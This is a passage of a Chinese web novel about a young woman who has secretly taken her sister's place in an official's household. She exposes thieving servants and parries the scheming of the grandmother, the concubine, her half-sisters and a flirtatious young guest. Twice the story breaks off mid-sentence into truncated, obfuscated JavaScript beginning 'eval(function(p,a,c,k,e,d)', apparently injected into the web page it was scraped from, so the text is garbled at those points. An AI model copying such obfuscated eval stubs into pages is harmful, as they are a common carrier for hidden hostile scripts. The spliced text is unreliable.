“混账!我甚时候这样说过?”老夫人听到这里,对着柳叶大骂,“你家大姑娘怎么能如此胡乱说话?她自个儿院子里的人调教不好,却反倒说起来我的不是了?” 看了眼荷花又说:“再说了,荷花也说了,她身上的衣服是你家姑娘亲自赏的,既是赏赐,她穿着也是想让主子看着开心,怎么你家姑娘就如此小眉小眼,连下人比自己打扮的好看也要置气?” 这话说的,三言两语性质就完全变了。 从下人不守规矩,直接变成了主子没有器量,连个漂亮点的丫鬟都妒忌。 李珺往日从母亲与夫人口中听到的这个大女儿,素来都是如此,小眉小眼、气量狭小,一点也没有她亲娘的半点风采,于是李珺自然而然越来越不喜大女儿。 但是如今这样一看,李珺顿时心中产生了疑窦。 因面前跪着的丫鬟,那藕荷色百迭裙光泽鲜亮,一看就是江南一带最好的绸缎铺子才能出的好料子,一匹布至少得好几两银钱,做这一条百迭裙具体要多少钱,李珺不太清楚,但总归至少得要个二三两银钱的。 若是手头有富余,赏了身边丫鬟也是常见,可放在大女儿身上,却十分不合理。 李珺方才看得清清楚楚,婉玉自己都穿着洗的发白的布裙,若是有这样鲜亮好颜色的衣裙,怎么会不自己穿,反而是先赏给了丫头? 而且就算是要赏赐,这半年婉玉都不在家里,为何不是赏赐身边贴心丫鬟,反而是赏给了没跟着去庄子上的二等丫鬟? 李珺只看了一眼就发现了荷花话里许多对不上的地方,可是他老娘却仿佛一点也没发现一样,三言两句说完,竟就要让她们带着荷花离开。 李珺正犹豫要不要说话,外头丫头进来了,说是大姑娘又来了。 “她才回来就闹得家宅不宁!”老夫人素日养尊处优,这一个下午已经有些疲惫,听到关怀素又回来了,顿时也生气起来,不耐烦地说,“让她进来!我倒要看看,她一个正经主子,怎么还会尖酸刻薄跟个下人计较!” 外头只用屏风挡了一下,关怀素就在门口那稍间里站着,哪里听不清楚? “祖母冤枉我了,早年我年纪小,总被下人气哭,如今年纪大了,按祖母教导,若是一般事儿,通常我也就忍了。”关怀素说着话走进门去,脸上平静,果然是一点泪意也无,只口里温声说,“只是如今我从小忍到大,到今日,却是忍无可忍了,只求父亲为我做主!” 说完,关怀素直直跪下,整个人朝着李珺行了个大礼,沉声说:“婉玉只求父亲救命。” “你这话什么意思?”老夫人被关怀素意有所指的话气得不行,拍案而起,怒骂:“我让你有点大家气度,不要天天盯着几个丫鬟下人置气,把自己好好的身份都显得低贱了,你却还怪我不成?!” 老夫人一口一个低贱,与下人计较,实在是十分刺耳,别说是关怀素,连柳叶与丁妈妈都听得心中气愤。 若是往日的李婉玉,此刻只怕真的就要被骂哭了。 但是关怀素却不一样,她对老虔婆压根没有任何亲情,自然也不会失望委屈。 她只是冷静地审时度势,然后突然扬起声音说:“请问祖母,李家规矩,是否先让下人享受,才可主人享受,先让下人穿绫罗绸缎,自己则穿棉布,先让下人拿走金银钗环,自己才可戴绢花?是否要倾尽所有、掏空妝枢供养下人,不可有一丝怨恨,才算得上是一个合格的主子?” 关怀素说话中气十足,压过了屋子里老夫人的怒斥与荷花的哭声,瞬间传到了全屋所有人的耳朵里。 李珺听得心里一跳,不可置信地看着大女儿,吃惊地问:“婉玉,你说什么?” “是啊!你在说什么胡话?”老夫人也不可置信地看向关怀素,她看着唯唯诺诺的大丫头,这才发现这个大丫头挺直了腰背,毫不避忌地看着她,虽然是朝她父亲跪着,但是神色之中没有一丝卑微,反而显露出一股不怒自威的威严气势来。 这样子愈发像是以前的儿媳,看的老夫人心中勃然大怒,指着关怀素喘了几口气,才说:“你在我这儿大呼小叫什么?你这个不孝的!” 不孝在本朝已经是大罪,若是深闺女子,只怕此刻早已经吓得磕头请罪。 “祖母既然如此说,那想必这就是李家家规,婉玉知道了。”关怀素就势回答,只说,“我日后定然遵守规矩,继续以全副身家性命伺候着屋里的丫鬟便是,婉玉这就告退了。” 她说着,凄楚一笑,站起来就打算离开。 这话她能说,李珺可不敢听,除非他是真的打算要因为治家不严被申斥甚至夺去官职,否则他怎么敢让家里出现这么荒唐的事情。 更何况,他看着这样的婉玉,举手投足也让李珺猛地想到了昔日故人,他心中百味杂陈,却不及细想,只对关怀素说:“婉玉,你说清楚,到底怎么了?” “回父亲。我今日回院子,发现我妝枢全被丫鬟们瓜分干净,这半年我在庄子上,连月钱的一个铜子也没见到,以为是院子里的丫头帮我放起来了,可是屋里全都没有不说,便是连钗环布匹俱都没有。如今我那院子里,比被洗劫过还干净。”关怀素苦笑一声,轻声说,“自小到大,我本也习惯了……可是往日她们至少还给我留几套体面衣衫,这次却连件过冬的衣裳都没留下,被褥也是发霉的旧被褥……” “不可能!”李珺觉得此事实在是太荒唐了,他简直不敢相信自己的耳朵。 “老爷若是不信,可以去咱们姑娘院子里看一眼,老婆子是乡下庄子上来的,斗胆说一句……便是咱们乡下庄户人家,也没得那么凄凉。”丁妈妈早看着那作威作福拉偏架的老虔婆不爽快很久,这会子立刻抓住机会上前告状。 “立刻带我去看看!”李珺实在是不敢相信,因往年节年见到这个大女儿,虽看着沉默,但是身上的衣裳打扮都说得过去,不然他早发现不对劲了,哪里需要等到今日? “一起去看看,我倒要看看哪里就如你说的那样了!”老夫人自己都不肯信,她虽然不喜欢这个大孙女,但是也不是傻子,不会真的明面上给人留话柄,素日虽给些气受,但是绝对也不会弄到如此难看,反而还会弄些上不得台面的样子货,摆出一副疼爱的样子。 否则也没办法拿捏大孙女这么多年,让她唯唯诺诺,却又不至 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何止是未曾夸张,在李珺看起来,婉玉还是说得太过轻描淡写了一些。 他回头,看着自己的母亲,满目震惊。 老夫人也十分惊讶,她确实对大孙女不太好,但是绝不会想弄到如此程度! 到如此地步,说出去只怕满京城都要戳他们脊梁骨骂他们狠毒了! “你……你说你自小,就是过这样的日子?”李珺环视这个屋子,眼神落在外间那破了的窗户纸上。 那窗户纸是黄油纸,角落里有一些杂色,乃是用的湖州产的竹纸涂了桐油所制,作价便宜,不过二十文一刀,一刀纸尽够一个院子一年到头两季换新修补了。 李珺还记得这种纸,四五年前,家里一直用的这种纸糊窗。 后来李珺从吏部考功清吏司的书吏升了从五品吏部员外郎,从六品到从五品,听着差距不大,实则是从一个普通小吏到吏部一司掌事的巨大迁越,多少京官就是折在这关键一步,一生庸碌。 可以说从这里开始,李珺的人生才从普通小吏有了更进一步的可能。 当时李珺亦不过三十出头的年纪,可以算得上是年轻有为。 那时候李珺志得意满,在崔小娘的房里喝酒,恰逢崔小娘说屋里那窗户纸又破了,惹得她昨夜咳嗽,他哈哈一笑,说从此不用这油纸糊窗户了,夏天便统一用天青色的青云纱糊窗户,冬日便用雪地黄,雅致又好看。 这从来都是家里统一换上的,各个主子屋里都是如此。 但是婉玉的房里,却还是好几年前的油纸窗户,破了也没人换。 李珺看着这满屋的破落样子,声音都有些颤抖地问关怀素。 他不敢相信,在他的眼皮子底下,大女儿的日子竟然过成了这样。 “这、这些丫鬟也实在是太惫懒了一些……”连老夫人这会儿都脸上有些下不来台,忍不住嘟嘟囔囔地开口说了一句。 她没继续说下去,因为她看到儿子的脸色实在是太难看了。 关怀素没说话,只沉默地点点头。 “去,把大娘子叫过来。”李珺沉默了一下,咬牙对着外头说话,又补上一句,“把管家也叫来!” “哎!”丁妈妈生怕被阻挠,答应一声,立刻朝外头飞奔出去找人不提。 没一会儿,得到消息的管家与一直没出现的孙大娘子就都到了。 第二十一章 崔小娘 关怀素循声望去,就看到一个体态风流的美妇扶着妈妈走进来。 这美妇人柳眉细长直飞入鬓,盘着朝云近香髻,头戴一枝重瓣牡丹绢花,走动之间与腮边两缕碎发一起晃动,愈发衬的袅袅风流,媚而不妖。 她身后有个和关怀素差不多年纪的红比甲姑娘,与她一般样貌风流妩媚,仿佛一朵怒放的芙蓉花。 与只堪堪算端庄的孙大娘子母女比起来,这母女简直是令人眼前一亮。 “哎呀呀,管家也在,我才听说大姑娘的事儿,立刻着急忙慌地赶过来了。天可怜见的,那帮刁奴竟是吃了熊心豹子胆了!”这妇人走过来就十分亲**一把抓住关怀素的手,像是真的十分怜惜一般,抚摸关怀素的头发,顷刻间春水般的眼睛里立刻含上了泪花。 竟是说哭就哭了出来。 “崔小娘安康,二姑娘安康。”廊下的丫鬟与管家都纷纷问安,关怀素便确定了这个女人以及她身后姑娘的身份。 是关怀素回来之前就知道的另一个大名鼎鼎的人物,李珺宠爱了十多年的宠妾,崔妙人崔小娘。 这个崔小娘,当初是老夫人身边的丫鬟,自小与李珺一起长大,乃是青梅竹马。 她身后的二姑娘李婉蓉,与关怀素相比,年岁只差了一个月。 可想而知,当初母亲有孕前后,李珺只怕就与这个崔小娘已经有了首尾私情。 此事极其不体面,若是换了其他人家,只怕把这个丫鬟发卖出去都有可能,但是李珺却对这个妾室极其爱护,多年不曾更改。 “多谢崔小娘,我无事的。”关怀素脑子里飞速转动,面上端庄地行礼道谢。 “可怜的孩子,听说你屋里竟像是遭了劫一般,我好歹也是长辈,不能看着,这不,我也给你带了些东西。”崔妙人拿着帕子擦泪,身后的几个粗使婆子就打开了箱子。 “我想着,花瓶摆件之类的,老爷心疼你,自然会给你补上,但是香粉胭脂、头油雪花膏之类女儿家用得上的东西,他们男人估计想不到。这不,我就特地给你寻摸了这些来。”崔小娘说话声音轻柔妩媚,做事周到,考虑细致入微。 说实话,哪怕是对她心存恶感之人,听她说话之间,都会情不自禁地和缓下来。 崔妙人不负其名,确实是个妙人。 关怀素一笑,说:“多谢崔小娘,如今我这屋子,东西反倒是比以前还多些了,倒不知是遭难,还是得福了。” 这话说的,并不显得凄凉可怜,反而还有几分俏皮,显得气度大方,让崔小娘的眼泪一时倒流不下来,反而破涕而笑,说:“你啊,想得开便好……” 两人正说话,旁边婉蓉却忍不住开口了:“她有啥想不开的,父亲答应补送给我的及笄礼物都给她了!” 崔小娘身后的二姑娘一开口就带着**味,瞬间气氛就尴尬起来。 “婉玉你别介意,你二妹妹去岁就喜欢宝福头面的簪子,年前定了之后就一直在盼着,今儿知道拿回来给了你,在这儿使小性儿呢。”崔小娘转头瞪了婉蓉一眼,才尴尬地对关怀素解释,“听说婉玉你的首饰都没了,我也拿了一些我年轻时用过的,你二妹妹也拿了自己的……她素来是刀子嘴豆腐心,你别跟她计较。” 说着不等关怀素说话,立刻让丫鬟上前,打开了两个头面盒子给关怀素看。 里面的头面有两排九孔绿松石对钗一对、宝石攒花压鬓一对、碧玉箍子一对,又有绢花、缠花的头面两套。 都不值钱,但是看着倒是花团锦簇。 关怀素笑着点头,承了这个人情,而后拿起金簪,连盒子递向崔小娘身后的婉蓉,一边说:“我就想着,这金簪精巧,做起来定然也复杂,定非一日之间能仓促买到的东西,原来是早早为二妹妹定下的,君子不夺人所好,既然是二妹妹一早定的,那还是还给二妹妹吧。” “这、这怎么好!”崔小娘想拦,身后的婉蓉却是一手接过来,打开看了一下,爱不释手,连忙说:“那就多谢姐姐了!” 崔小娘急得不行,关怀素却温声说:“小娘不必担心,这金簪既是二妹妹早早喜欢的,送与我实在是不合适,还是给二妹妹吧。再说了,我也已经得了这么多东西了,小娘不需要与我计较这些。” 崔小娘脸上到底是不好看,侧着脸瞪女儿,可婉蓉却倔强地完全不理她。她只能强笑着说了几句场面话后告辞。 崔小娘母女离开,李福管家也带着人走了,热闹了一天的素心居终于才算是彻底安静下来。 一天的忙乱终于到了尾声,洗漱之后,关怀素让丁妈妈带着小荷去睡觉,只留了柳叶和她一起在这陌生的房间里休息。 “柳叶。”关怀素看着崭新的床褥,突然问,“你说,今儿出现的这些人,对姐姐如何?” “孙大娘子面上好看,内里不知。”柳叶煞有其事地分析,“崔小娘瞧着很是狐媚,又得宠还会办事。倒是二姑娘瞧着有些蠢,不如三姑娘那般伶俐。” 关怀素点头,轻叹一声,说:“这家里都不是省油的灯。” 姐姐那般温柔怯弱的性子,在这个家里,不知吃了多少苦。 想到这里,关怀素就是一阵心痛。 “姑娘,日子还长着呢,今儿才第一天,别着急。”柳叶知道她心里的难受,立刻翻身看着她说,“咱们慢慢看,找到真凶,一定让他们付出代价!” 关怀素闻言,心中登时熨帖许多。 于是二人吹灯拔蜡休息,这连日奔波,总算结束。 其他两个院落里却并不平静。 “我让你过去心疼心疼你大姐姐,你做的啥,跑过去拿了你爹给你大姐姐贴补的金簪子!”崔小娘气得揉心口,指着自己的女儿拍桌怒骂,“我怎么生了你这个眼皮子浅的货色!统共不过几十两银钱的东西,值当你这样?!” “几十两的首饰,我整个妝枢里也就四件!再说,这本就是爹爹给我贺及笄用的,怎地就要给她了!”婉蓉不服气,“总不能就因为她自己愚蠢,被下人欺负,就抢我的东西做补贴吧?!” “你这个蠢猪!”崔小娘气得捏着帕子戳女儿的脑袋,恨声说,“你还不知道你爹,他几时对咱们小气过?这簪子给了她,自然后头有好东西给你,还能博个好名声,你倒好,现在要这个,到时候你大姐姐拿到更好的首饰你可别气!” 婉蓉不信,但是她知道自家阿娘说起父亲,从没有错的,因此脸上顿时带了点懊恼之色,只是还是不肯认错,勉强地说:“我不信!” “你且等着吧。”崔小娘知道这年纪的丫头倔脾气上来了,一时半会儿说不住,因此只让婉蓉回去休息。 婉蓉心中担忧,但是回到自己屋里之后,看着漂亮的金簪步摇,心中又十分欢喜。 她身边的丫鬟宝珠就凑趣地说:“这簪子真漂亮,合该就是该衬咱们姑娘的!” “就是,这本来就是我的。”婉蓉骄傲一笑,说,“小娘也真是危言耸听,爹爹以后就算给大姐姐补偿,不可能比这簪子贵太多,再说宝福头面的大师傅一时半会儿也排不上号了,还不如先拿到戴呢!” 说完她得意至极,对着镜子里戴了缠丝金簪后更加美艳的自己微笑。 她在这儿揽镜自照,殊不知那头东院里正在说她。 孙大娘子一边清点面前的钗环,一边让回话的丫鬟退下,对身边的婉淑说:“你可听到了,日后可千万别学你那二姐姐的脾气,上不得台面的穷酸汁子。” 婉淑沉静一笑,轻声说:“娘亲,我省的。不过是一个金簪子,咱家虽不是什么高门大户,到底也是诗书礼仪之家,为了这点子钱财在家里大呼小叫的,成什么样子?” “你能这样想最好。”孙大娘子闻言,非常满意地一笑,她指着面前那套赤金红宝石头面说,“今儿你选了好几套首饰给你大姐姐,做的很好,咱们家里人,不管内里怎么样,外头看着都要和和气气才是。这套头面原是你爹当年给我的,现在给你戴。” “娘!多谢阿娘!我就知道你最疼我了!”婉淑一听,顿时喜上眉梢,缠着自己阿娘的手臂撒起娇来。 孙大娘子这套头面是赤金的不说,一套六件,从发冠到金钗到后压到挖耳簪都齐备,这一套下来至少值差不多小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关怀素就知道,老夫人的人手全折了,肯定想继续安插人手进她的院子。 果然就听到老夫人继续说:“婉玉,你如今身边婆子丫鬟都是乡下来的,到底没见过什么世面,在院子里做个粗使活计就好,贴身伺候的还是安排些称头的才是。” 关怀素并不着急说话,只揣摩着姐姐的习惯,低着头捏着帕子,一副犹豫的神色。 她在等,等着有人跳出来。 “母亲,这事儿还是不着急吧。”果然,几乎是只几个呼吸之间,就听到孙大娘子温声开口,说,“那几个人既然是跟着婉玉在庄子上回来的,定然也是婉玉心里极其中意的了。既然如此,还是按婉玉的意思留着便是。” 说完她笑着说:“老夫人若是担心他们不懂事,到时候我安排两个老妈妈过去教导一二便是。” 这话说的,给关怀素卖了个好之外,又立刻把自己**了这件事情里面。 关怀素至此心中十分确定,这回事情,绝对有孙大娘子的手笔。 但是关怀素没说话,只听着老夫人与孙大娘子两人来回咬着自己房里要不要换人的事情来回打机锋。 老夫人不占理,眼见几个回合,孙大娘子就完全占了上风,志得意满地笑着说:“母亲只管放心,老爷既然把这件事情交给我,我定然不会辜负老爷的嘱托。” 到了这时,关怀素才开口,依旧还是温温柔柔的样子,轻声说:“倒是不需要母亲担心了,我身边的婆子丫鬟,当初都是与我一起抵过庄子上民乱的,也是我外祖父关怀远亲手教导的未记名弟子后人,都是懂礼忠心的人,并非粗野之士,不必劳烦母亲与祖母忧心。” 关怀素当然不会让人给她院子里插人,尤其是教导的名义,到时候抓住机会给柳叶和丁妈妈打上几顿,或是逼着她们背主……教导妈妈能干的事情可太多了,关怀素不可能允许自己的地盘有这等隐患。 只是她这话一说,大娘子与老夫人脸上的笑顿时挂不住了。 二人争论来去,压根没把李婉玉放在眼里,却没想到给关怀素一句话堵得什么都说不出来。 偏关怀素这句话堵的极狠,她们还无法反驳——让她们怎么说?难道敢说她们一个肇州寡妇、一个县丞之女,能比大儒关怀远会调教人? 她敢说这个话,明日她就能成为全京师的笑柄,搞不好能成为天下皆知的轻狂无礼之人! 孙萍和老夫人的脸登时都绿了。 第二十二章 家宴 孙萍一口闷气从正屋憋到了屋里,才狠狠一拍桌子,怒声大喝:“她哪里来的胆子,**拿外祖父来压我!气死我了!” 孙大娘子身边的丫鬟妈妈都不敢出声,生怕触了孙大娘子的霉头。 陪房的周妈妈生怕她气出个好歹,连忙上前给她倒茶顺气,连声说:“哎哟哟我的大娘子啊,你可千万小点声,来来来,喝口茶,快顺顺气!” 说着拉着孙大娘子坐下来,看她呼哧呼哧地喘着气,才说:“要我说,这大姑娘看着确实像是换了个人似的,她往日可不这样。” 周妈妈压低声音,轻声对孙大娘子说:“大娘子,你们许是都没注意到,我看姑娘怎么平白高了许多,老爷昨日送的衣裳什么的,看着都短了一截呢。” 孙大娘子一听,更气了,怒声说:“可不是,不但长高了一大截,还白了许多,可见日子过得不错……那八仙庄不愧是关老爷子的地方,那里面定然是有人教她了!” 周妈妈也是如此想,她们完全没想过关怀素与李婉玉是双生子或是李代桃僵的事情,而是给关怀素所有行为都找了个更合理的理由。 不只是她们如此想,其实如今院子里的老夫人甚至外院里的李珺,也正在这么想。 “你看大姑娘,可是变了一个人一般?”李珺停笔,对着身边的管家李福感叹。 李福立刻点头,感慨地说:“……确实,看着变了一个人一样,倒是活脱脱与夫人一个模子出来一样。” 李珺叹气,低头看自己桌面上的画。 那画面里,一个挽着圆心髻、右边插着两支玉簪的女子正在桃树下嫣然一笑,那女子柳眉凤眼鹅蛋脸,瞧着仙气飘飘的美貌之中,又带着一股利落干脆的英气,活脱脱与关怀素有七分相似。 李珺看着画里的女子,长叹一声,轻声说:“……是我对不住她。” 这个她,说的是女儿,还是已逝去之人,就不得而知了。 李福也没说话,良久,他就听到自家老爷叹息般地说:“你去跟大娘子说一下,就说晚上在外头安排一桌家宴,就当陪着玉儿再过一个中秋。” 关怀素得了消息,晚上便穿着白日的常服去前厅吃饭。 结果到了地方就是一愣——婉蓉与婉淑打扮得也太鲜亮了! 不过是普通家宴,二人却都换了见客的衣衫,又各自重新梳头描眉,勾唇涂脂,瞧着十分郑重。 看来今晚的家宴还有外客,关怀素瞬间猜测。 实在是婉蓉和婉淑表现的实在明显了些,二人一会儿让丫鬟拿了小铜镜,兀自对铜镜检查自己的样子,一会儿又想到了什么,脸红低头偷偷一笑……这和关怀素昔日好友说起定亲的对象时表情一模一样。 见到关怀素素淡打扮,二人眼中都露出了隐约的轻蔑之色。 正在这个时候,门口传来声音,却是崔小娘扶着老夫人进门了。 老夫人一进门,看到婉蓉和婉淑打扮停当,非常满意,再看到关怀素的样子,忍不住皱眉说:“下午没人和你说今儿有贵客吗?你平日做出个酸寡零星的寒酸样子就算了,这两天一屋子人都流水般给你送东西,怎地现在还是这副寒酸打扮?” 关怀素知道老夫人是故意找茬,先不说下午的婆子根本没说家里有外客,显然是有人故意不告知她。 再说关怀素这身打扮,虽然是简单了些,但是也绝对称不上是寒酸。 但是关怀素知道这老虔婆只是借题发挥,便笑了一下,落落大方地交叠左右手,先笑着说了句:“祖母安康。” 然后她兀自站直,看着祖母带着调笑地说:“祖母说的是,祖母不妨把头上的赤金碧玉冠赏了我,婉玉保证立刻戴上,就必然不会寒酸了。” 关怀素若是直接甩脸子或是诉委屈,要么就会被斥责不孝,要么就会被斥责上不得台面……老夫人本来是打着这样的主意,往日也最爱用这些办法拿捏小辈。 可偏关怀素一反常态,直接落落大方笑着回话,显得像是受宠爱的孙女在跟祖母撒娇要好东西一样。 这让老夫人瞬间就愣住,登时措手不及。 若是其他祖母见到孙女如此撒娇,搞不好真就随手摘下来乐呵呵地给了。 但是老夫人见关怀素这副油盐不进的样子,心中反而大为恶心,只一甩袖子,板脸不看关怀素。 “来,都坐下来。昨儿老爷说了,婉玉前些日子中秋不在家,如今回来了,家里人一起吃个饭,也算是阖家团聚了。”孙大娘子笑呵呵地开口,温柔地招呼大家举杯庆祝,像是完全没注意到方才的口角风波一样。 关怀素也不管,只拿酒微微沾了一下嘴巴,就笑嘻嘻地坐下来,捡着桌上的素面点丸子用起来。 李家日子显然不错,厨下调鼎手显然是个老道的,虽是素菜,那萝卜丝炸丸子都做得格外清甜,关怀素吃的喜欢,连着吃了好几个。 其他的荤油菜色,关怀素是一点没吃,反而吃了几个厨下为了中秋做的菊花酥珞,再加上一些素油蒸茄子、拌芽菜,关怀素挑挑拣拣的,倒也吃得畅快,没一会儿就已经吃到了八分饱。 她吃得开心,但是席面上诸人却和她并不一样,大娘子与崔小娘也就随意夹一筷子,老夫人年纪大了,加上久坐不动,看着也不像是有什么胃口的样子。 而婉蓉与婉淑心思显见着也不在吃喝上,不时放下筷子往照壁那儿看。 也没辜负她们如此牵肠挂肚。 不一会儿,便见进来几个年轻郎君,当先一个风度翩翩,与父亲李珺眉眼气度都有五分相似,看年纪便是李家的大郎李辰文。 而边上一个稍微矮些、还有些孩子稚气的微胖少年郎,瞧着应是李家二郎李辰瑜。 二人带着一个油头粉面、年纪大了几岁的郎君,一起入内。 李辰文与李辰瑜请安之后,这陌生郎君便笑着与众人打招呼,关怀素就见到婉淑与婉蓉齐齐露出喜悦神色,娇声轻唤:“二哥哥!” 来者叫赵二郎,面白无须,眉清目秀,瞧着还没到及冠年纪,举止也算风度翩翩。 要走南闯北见多识广的关怀素来说,算得上皮囊尚可,只是瞧着神色有些轻浮。 但是婉蓉与婉淑眼中,此人只怕是天上地下都排得上号的,因此二人倾慕与热切之意,其实旁人都看得出来。 起码落在关怀素眼中,那与高声表明心迹差不多。 关怀素并不打算碍眼,因此看到婉蓉先一步走出去亲**喊了一句“二哥哥来了!”的时候,她只垂着眼睛,跟在婉淑身后行了个平辈礼仪。 “二哥哥好。”婉淑倒是端庄,并不如婉蓉那般过于热切,但是也亲亲热热的。 两人都是豆蔻少女,又一脸爱慕,赵二郎显然十分受用,笑着与二人亲热见礼不说,又从怀里摸出两个盒子给她们送上,换的二人喜不自禁。 “婉玉妹妹,这是给你的,我当时在宝福头面铺子一看到这玉蜻蜓,就觉得素雅温柔,极其衬你。”关怀素悄悄观察呢,突然手上就是一沉,耳边就听到赵二郎带着笑意的声音。 关怀素瞬间收敛神色,做出一幅惊喜之色,落落大方地行礼接过,打开盒子看了一眼,立刻笑着说:“谢谢二哥,这蜻蜓好漂亮!” 关怀素说的是客套话,这蜻蜓看着是精巧,但是看做工用料,不过是打发人的东西罢了。 且她方才听着赵二郎与婉蓉说“这木芙蓉缠花十分娇艳,我一见就觉得适合你。”,接着又听他对着婉淑说“这玉竹簪端庄静雅,我一看就觉得只婉淑妹妹通身气度配得上。”,因此再听到玉蜻蜓,心中只觉得腻味的慌。 关怀素还以为这是一场简单的外客会面,这赵二郎是世交之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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关怀素想到祖父昔日谆谆教导,神色柔和下来,点头说:“是的,这等花言巧语之徒,可切切不能上他的当。” “那是,要么是唯一的礼物,要么是最上心、最好的礼物,否则我才不会放在心上!”柳叶立刻点头,原本对婉蓉和婉淑还是有些嘲笑的心思,觉得二人是有些痴心妄想,毕竟如果赵二郎出身高贵又风度翩翩,二人出身品貌确实不相称。 只是听了关怀素的话,柳叶恍然察觉出赵二郎这人心思也不太纯正,顿时十分厌弃。 关怀素与柳叶私下说话从不避讳,此刻四下无人,说到这里便促狭地小声说:“不过显见着,这赵二郎这么会哄人,谁当了她的大娘子,日后别的不说,至少后宅定然热闹!” 柳叶听着,顿时与关怀素笑作一团。 两人正促狭笑呢,走到拐弯处,却突然从斜弯后的柱子后钻出一个人来,照面一看,可不正是赵二郎?! 彼此一照面,关怀素与柳叶都是一惊! 关怀素第一时间吓了一跳,第一反应是以为赵二郎凑巧躲在这里,听到了她的刻薄话,此刻是来找麻烦! 可是她下一刻立刻想到,她说话压的声音极低,且一路走过来与柳叶嬉笑,赵二郎在这个拐角处绝对听不到! 电光火石之间,关怀素立刻放松下来,不至于失态。 她立刻叠掌交握,与那赵二郎行了个平辈礼,口里问:“二哥哥好,你可是走错路了?” 关怀素这么问,是因为这里已经是要去后院角门,这绝对不是赵二郎应该出现的地方。 “我是来找你的。”赵二郎却一脸热切地开口,对关怀素说,“早先你在庄子上,我恨不得驾车去看你,可是我一直跟在太子身边,作为太子伴读,不可轻易擅离职守,实在是找不到空……婉玉妹妹,你可怪我?” 关怀素刚松下来的一口气,顿时吓得又提了起来! 第二十三章 赵二郎 姐姐与赵二郎难道有什么情愫? 关怀素差点没因为这个可能性吓得头脑一片空白,得亏她见惯风浪,勉强稳住了情绪。 好在关怀素还没想到如何处置,赵二郎就急的一叠声说:“婉玉妹妹,上次在赏花宴上,你被福宁郡主斥责,而我没有站出来为你说话,你可是心中怪我?” “没、没有。”关怀素闻言,见不是私情,登时镇定下来,沉声说,“此事与二哥哥无关,且我在庄子上也过得很好,婉玉不会为此事怪罪任何人。” 这当然是场面话,姐姐被赶去庄子上的起因,关怀素打听的清楚。 便是赵二郎口中这个福宁郡主,当时举办了一个小宴。 这位福宁郡主并不是皇家血脉,但是福宁郡主之父与先皇一起打下江山,是最受先皇信任的军师,如今画像还挂在太庙里,位列内阁二十四功臣之首。 军师当初据说智计过人,但是天妒英才,天生羸弱,因此在先皇开国后没享几年福就去了,不但如此,军师临终之前只留下一个遗腹子,就是福宁郡主。 先帝感念军师一生只得这一点骨血,因此当初福宁郡主一生下来,先皇就给了她郡主封号,又念在自己与皇后年迈,亲自吩咐由当时的太子妃、也就是如今的皇后养在膝下,以示恩荣。 是以哪怕后来先皇去世,今上登位,福宁郡主依旧风头不落,名义是郡主,实际与公主无异。 可想而知,这福宁郡主绝对不是个好相与的性子。 根据碧桃与兰花交代,当日姐姐参加福宁郡主的赏春宴时,席间被一个小丫鬟洒了酒,于是郡主让人带她去隔壁换一身衣衫,姐姐便先离席。 原也是普通的一件事,但是不知为何,丫鬟却把姐姐带出了宴客的院子,刚巧遇到来访的太子。 按姐姐后来所说,她本来第一时间就避到了花园后的拐角照壁里,结果身后的丫鬟没站稳,把她一撞,她就跌了出去,刚巧摔在了太子跟前。 这可是大失礼。 当时姐姐跪下请罪,却马上被太子身边人质问是哪家人,又是为何在这里。 姐姐回答完,太子一行人就走了。 姐姐当时只当这场风波过去了,可晚宴尾声,福宁郡主不知为何当众说了此事,又笑着说:“李姐姐,太子身边伴读说话直接,你不要放在心上。” 若是关怀素立刻就知道,当场应该立刻回答这是个巧合,赶紧把此事过去,绝对不可失了先机。 但是姐姐性子被养的太单纯,傻傻地问了一句:“什么?” 姐姐当时只是下意识地反问,但是郡主大约就等着她这句,就笑着说:“宋三郎说,每逢与太子结伴,总能遇到女子跌跤,实在烦人。” 说完,周围窃笑声一片。 这便是指着鼻子骂李婉玉不是好东西,想攀龙附凤了。 若是关怀素,哪怕是当场与郡主面上不好看,也得把此事撇干净。 但是姐姐没有人教养如何处理这种事情,她当时哑口无言,臊了个大红脸,竟是哭着回家的。 关怀素当日听到此事,知道姐姐定然是被人故意设计出丑,她只要想到此事,心中便极其愤怒,此刻听到这个赵二郎居然还拿此事试探姐姐,顿时心中更是怒火冲天。 他们也算是通家之好,赵二郎当时没站出来为姐姐说话,已经是极其冷漠,如今又特地拿出来为自己分辩,试探姐姐是否对他还有情义,此为小人。 此等冷漠小人站在面前,竟还笑着偷窥自己的面色,关怀素心中大怒,却知道自己不能与他翻脸,只能冷着一张脸,做出诧异的表情看赵二郎说:“我为何要与二哥哥生气?当日郡主府上那丫鬟撞我出去跌跤,我怕说出来,反倒是显得我栽赃嫁祸,不过是一些误解而已……我心无龃龉,外人如何说,又何必放在心上呢?” 关怀素一笑,看着愣了一下的赵二郎,又行了一个礼说:“二哥哥真的不用介怀,婉玉虽没学过大道理,但是尚知道有句诗,叫‘洛阳亲友如相问,一片冰心在玉壶。’,婉玉之心天地可鉴,倒也不需要所有人都能明白。” 说完,关怀素站起来,带着柳叶往自己的小院里走了。 赵二郎愣在原地,呆呆地看着她的裙摆转了个弯,消失在转角处。 不远处躲着的小厮走出来,轻声说:“郎君,该出去了,李大人要问了。” “你说,婉玉她……”赵二郎愣愣地对小厮说,“是不是变漂亮了许多?” 小厮愣了一下,左顾右盼,生怕有李家的下人听到这句话,要知道在她们面前如此说倒是不要紧,但是问题是赵二郎他躲在人家家里这样说,不免显得轻浮油滑,因此小厮只一叠声低声说:“郎君,出去再说罢!” 赵二郎被小厮带着出去,心中一直留恋地想着方才关怀素在自己面前说话的样子。 那个平日被他夸一句就要脸通红低头的姑娘,平日若是遇到自己偷偷找过来解释,只怕当场就要感动地流下一串眼泪来。 但是今日却完全变了,那个脸红的姑娘消失了,她并不为自己的解释而开心,甚至也不再为流言困扰,她只是坦荡地说“一片冰心在玉壶”,然后就离开了。 她穿着打扮都十分寻常,也没有特地装扮。 但是依然漂亮的让人移不开眼睛。 赵二郎平日对婉蓉婉淑都很好,对李婉玉可真真也是一点也没怠慢。 